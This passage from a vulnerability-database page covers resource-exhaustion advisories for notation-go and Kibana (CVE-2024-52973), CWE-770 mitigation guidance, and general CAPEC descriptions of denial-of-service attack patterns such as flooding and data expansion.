"details": "### Impact\n\n`notation-go` users will find their application using excessive memory when verifying signatures and the application will be finally killed, and thus availability is impacted.\n\n### Patches\n\nThe problem has been patched in the release [v1.0.0-rc.3](https://github.com/notaryproject/notation-go/releases/tag/v1.0.0-rc.3). Users should upgrade their `notation-go` packages to `v1.0.0-rc.3` or above.\n\n### Workarounds\n\nUsers can review their own trust policy file and check if the identity string contains `=#`. Meanwhile, users should only put trusted certificates in their trust stores referenced by their own trust policy files, and make sure the `authenticity` validation is set to `enforce`\n\n### Credits\n\nThe `notation-go` project would like to thank Adam Korczynski (@AdamKorcz) for responsibly disclosing this issue during a security fuzzing audit sponsored by CNCF and Shiwei Zhang (@shizhMSFT) for root cause analysis and detailed vulnerability report.\n\n### References\n\n- [Resource exhaustion attacks](https://en.wikipedia.org/wiki/Resource_exhaustion_attack)\n",
"id": "GHSA-87x9-7grx-m28v",
"modified": "2023-02-22T00:03:49Z",
"published": "2023-02-22T00:03:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/notaryproject/notation-go/security/advisories/GHSA-87x9-7grx-m28v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-25656"
},
{
"type": "WEB",
"url": "https://github.com/notaryproject/notation-go/pull/275"
},
{
"type": "PACKAGE",
"url": "https://github.com/notaryproject/notation-go"
},
{
"type": "WEB",
"url": "https://github.com/notaryproject/notation-go/releases/tag/v1.0.0-rc.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "notation-go has excessive memory allocation on verification"
}
GHSA-87XF-MFWW-RH45
Vulnerability from github – Published: 2025-01-21 12:30 – Updated: 2025-01-21 12:30An allocation of resources without limits or throttling in Kibana can lead to a crash caused by a specially crafted request to /api/log_entries/summary. This can be carried out by users with read access to the Observability-Logs feature in Kibana.
{
"affected": [],
"aliases": [
"CVE-2024-52973"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-21T11:15:10Z",
"severity": "MODERATE"
},
"details": "An allocation of resources without limits or throttling in Kibana can lead to a crash caused by a specially crafted request to /api/log_entries/summary. This can be carried out by users with read access to the Observability-Logs feature in Kibana.",
"id": "GHSA-87xf-mfww-rh45",
"modified": "2025-01-21T12:30:47Z",
"published": "2025-01-21T12:30:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-52973"
},
{
"type": "WEB",
"url": "https://discuss.elastic.co/t/kibana-7-17-23-and-8-14-2-security-update-esa-2024-26/373443"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
Mitigation
Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation MIT-38.1
- If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.
- Ensure that all failures in resource allocation place the system into a safe posture.
Mitigation MIT-47
Strategy: Resource Limitation
- Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.
- When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.
- Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
CAPEC-125: Flooding
An adversary consumes the resources of a target by rapidly engaging in a large number of interactions with the target. This type of attack generally exposes a weakness in rate limiting or flow. When successful this attack prevents legitimate users from accessing the service and can cause the target to crash. This attack differs from resource depletion through leaks or allocations in that the latter attacks do not rely on the volume of requests made to the target but instead focus on manipulation of the target's operations. The key factor in a flooding attack is the number of requests the adversary can make in a given period of time. The greater this number, the more likely an attack is to succeed against a given target.
CAPEC-130: Excessive Allocation
An adversary causes the target to allocate excessive resources to servicing the attackers' request, thereby reducing the resources available for legitimate services and degrading or denying services. Usually, this attack focuses on memory allocation, but any finite resource on the target could be the attacked, including bandwidth, processing cycles, or other resources. This attack does not attempt to force this allocation through a large number of requests (that would be Resource Depletion through Flooding) but instead uses one or a small number of requests that are carefully formatted to force the target to allocate excessive resources to service this request(s). Often this attack takes advantage of a bug in the target to cause the target to allocate resources vastly beyond what would be needed for a normal request.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-197: Exponential Data Expansion
An adversary submits data to a target application which contains nested exponential data expansion to produce excessively large output. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. However, this capability can be abused to create excessive demands on a processor's CPU and memory. A small number of nested expansions can result in an exponential growth in demands on memory.
CAPEC-229: Serialized Data Parameter Blowup
This attack exploits certain serialized data parsers (e.g., XML, YAML, etc.) which manage data in an inefficient manner. The attacker crafts an serialized data file with multiple configuration parameters in the same dataset. In a vulnerable parser, this results in a denial of service condition where CPU resources are exhausted because of the parsing algorithm. The weakness being exploited is tied to parser implementation and not language specific.
CAPEC-230: Serialized Data with Nested Payloads
Applications often need to transform data in and out of a data format (e.g., XML and YAML) by using a parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. By nesting these structures, causing the data to be repeatedly substituted, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization.
CAPEC-231: Oversized Serialized Data Payloads
An adversary injects oversized serialized data payloads into a parser during data processing to produce adverse effects upon the parser such as exhausting system resources and arbitrary code execution.
CAPEC-469: HTTP DoS
An attacker performs flooding at the HTTP level to bring down only a particular web application rather than anything listening on a TCP/IP connection. This denial of service attack requires substantially fewer packets to be sent which makes DoS harder to detect. This is an equivalent of SYN flood in HTTP. The idea is to keep the HTTP session alive indefinitely and then repeat that hundreds of times. This attack targets resource depletion weaknesses in web server software. The web server will wait to attacker's responses on the initiated HTTP sessions while the connection threads are being exhausted.
CAPEC-482: TCP Flood
An adversary may execute a flooding attack using the TCP protocol with the intent to deny legitimate users access to a service. These attacks exploit the weakness within the TCP protocol where there is some state information for the connection the server needs to maintain. This often involves the use of TCP SYN messages.
CAPEC-486: UDP Flood
An adversary may execute a flooding attack using the UDP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. Additionally, firewalls often open a port for each UDP connection destined for a service with an open UDP port, meaning the firewalls in essence save the connection state thus the high packet nature of a UDP flood can also overwhelm resources allocated to the firewall. UDP attacks can also target services like DNS or VoIP which utilize these protocols. Additionally, due to the session-less nature of the UDP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-487: ICMP Flood
An adversary may execute a flooding attack using the ICMP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. A typical attack involves a victim server receiving ICMP packets at a high rate from a wide range of source addresses. Additionally, due to the session-less nature of the ICMP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-488: HTTP Flood
An adversary may execute a flooding attack using the HTTP protocol with the intent to deny legitimate users access to a service by consuming resources at the application layer such as web services and their infrastructure. These attacks use legitimate session-based HTTP GET requests designed to consume large amounts of a server's resources. Since these are legitimate sessions this attack is very difficult to detect.
CAPEC-489: SSL Flood
An adversary may execute a flooding attack using the SSL protocol with the intent to deny legitimate users access to a service by consuming all the available resources on the server side. These attacks take advantage of the asymmetric relationship between the processing power used by the client and the processing power used by the server to create a secure connection. In this manner the attacker can make a large number of HTTPS requests on a low provisioned machine to tie up a disproportionately large number of resources on the server. The clients then continue to keep renegotiating the SSL connection. When multiplied by a large number of attacking machines, this attack can result in a crash or loss of service to legitimate users.
CAPEC-490: Amplification
An adversary may execute an amplification where the size of a response is far greater than that of the request that generates it. The goal of this attack is to use a relatively few resources to create a large amount of traffic against a target server. To execute this attack, an adversary send a request to a 3rd party service, spoofing the source address to be that of the target server. The larger response that is generated by the 3rd party service is then sent to the target server. By sending a large number of initial requests, the adversary can generate a tremendous amount of traffic directed at the target. The greater the discrepancy in size between the initial request and the final payload delivered to the target increased the effectiveness of this attack.
CAPEC-491: Quadratic Data Expansion
An adversary exploits macro-like substitution to cause a denial of service situation due to excessive memory being allocated to fully expand the data. The result of this denial of service could cause the application to freeze or crash. This involves defining a very large entity and using it multiple times in a single entity substitution. CAPEC-197 is a similar attack pattern, but it is easier to discover and defend against. This attack pattern does not perform multi-level substitution and therefore does not obviously appear to consume extensive resources.
CAPEC-493: SOAP Array Blowup
An adversary may execute an attack on a web service that uses SOAP messages in communication. By sending a very large SOAP array declaration to the web service, the attacker forces the web service to allocate space for the array elements before they are parsed by the XML parser. The attacker message is typically small in size containing a large array declaration of say 1,000,000 elements and a couple of array elements. This attack targets exhaustion of the memory resources of the web service.
CAPEC-494: TCP Fragmentation
An adversary may execute a TCP Fragmentation attack against a target with the intention of avoiding filtering rules of network controls, by attempting to fragment the TCP packet such that the headers flag field is pushed into the second fragment which typically is not filtered.
CAPEC-495: UDP Fragmentation
An attacker may execute a UDP Fragmentation attack against a target server in an attempt to consume resources such as bandwidth and CPU. IP fragmentation occurs when an IP datagram is larger than the MTU of the route the datagram has to traverse. Typically the attacker will use large UDP packets over 1500 bytes of data which forces fragmentation as ethernet MTU is 1500 bytes. This attack is a variation on a typical UDP flood but it enables more network bandwidth to be consumed with fewer packets. Additionally it has the potential to consume server CPU resources and fill memory buffers associated with the processing and reassembling of fragmented packets.
CAPEC-496: ICMP Fragmentation
An attacker may execute a ICMP Fragmentation attack against a target with the intention of consuming resources or causing a crash. The attacker crafts a large number of identical fragmented IP packets containing a portion of a fragmented ICMP message. The attacker these sends these messages to a target host which causes the host to become non-responsive. Another vector may be sending a fragmented ICMP message to a target host with incorrect sizes in the header which causes the host to hang.
CAPEC-528: XML Flood
An adversary may execute a flooding attack using XML messages with the intent to deny legitimate users access to a web service. These attacks are accomplished by sending a large number of XML based requests and letting the service attempt to parse each one. In many cases this type of an attack will result in a XML Denial of Service (XDoS) due to an application becoming unstable, freezing, or crashing.